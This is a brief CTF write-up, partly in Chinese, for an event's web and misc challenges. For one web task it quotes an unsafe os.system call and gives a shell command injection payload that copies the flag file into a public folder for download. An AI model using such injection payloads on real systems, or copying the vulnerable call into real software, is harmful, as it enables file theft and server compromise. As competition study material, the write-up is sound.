比赛链接:https://ctf.rars.win/campaign/web

web

Fancy Button Generator(100 points)

题目描述:

1
2
3
4
5
Check out this cool new fancy button generator! The buttons even glow!

https://fbg.rars.win/

Make sure to test your payloads using the full environment provided.

附件:12

lemonthinker (100 points)

  • we can command injection app.py line:24

os.system(f”python3 generate.py {filename} “{text}””)

  • we can input command in {text}

input

test $(cp ../flag.txt static/images/test.txt)

access

http://193.57.159.27:51768/static/images/test.txt

you can get flag here

misc

Coherence Check (10 points)

签到题

Discord (10 points)

签到题(话说为啥要出俩签到题